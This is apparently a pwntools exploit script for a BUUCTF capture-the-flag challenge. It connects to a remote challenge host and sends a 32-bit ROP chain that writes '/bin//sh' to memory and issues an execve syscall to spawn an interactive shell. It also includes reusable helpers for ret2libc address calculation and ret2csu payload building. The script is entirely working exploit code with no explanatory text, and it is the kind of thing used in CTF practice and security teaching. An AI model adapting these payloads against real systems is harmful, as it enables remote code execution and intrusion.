1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import* from struct import pack
def libcmath(function_addr,function_name): libc_addr = function_addr - libc.sym[function_name] system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) return system_addr,binsh_addr
def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr): payload = cyclic(offset) payload += p64(gadget2_addr) payload += cyclic(0x8) payload += p64(0) payload += p64(1) payload += p64(call_addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(gadget1_addr) payload += cyclic(56) payload += p64(ret_addr) return payload
def localconnect(filename): io = process(filename) return io
def remoteconnect(ip,port): io = remote(ip,port) return io
def elf_libc(filename,libc_name): elf = ELF(filename) libc = ELF(libc_name) return elf,libc
def debug(button): if(button==1): context.log_level = "debug"
filename = 'pwn' libc_name = 'buu_libc_ubuntu16_32' ip="node4.buuoj.cn" port=27246 elf,libc = elf_libc(filename,libc_name)
io = remoteconnect(ip,port) debug(1) p = b'a' * (0xc+0x4) p += pack('<I', 0x0806ecda) p += pack('<I', 0x080ea060) p += pack('<I', 0x080b8016) p += b'/bin' p += pack('<I', 0x0805466b) p += pack('<I', 0x0806ecda) p += pack('<I', 0x080ea064) p += pack('<I', 0x080b8016) p += b'//sh' p += pack('<I', 0x0805466b) p += pack('<I', 0x0806ecda) p += pack('<I', 0x080ea068) p += pack('<I', 0x080492d3) p += pack('<I', 0x0805466b) p += pack('<I', 0x080481c9) p += pack('<I', 0x080ea060) p += pack('<I', 0x080de769) p += pack('<I', 0x080ea068) p += pack('<I', 0x0806ecda) p += pack('<I', 0x080ea068) p += pack('<I', 0x080492d3) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0807a66f) p += pack('<I', 0x0806c943) io.sendline(p) io.interactive()
|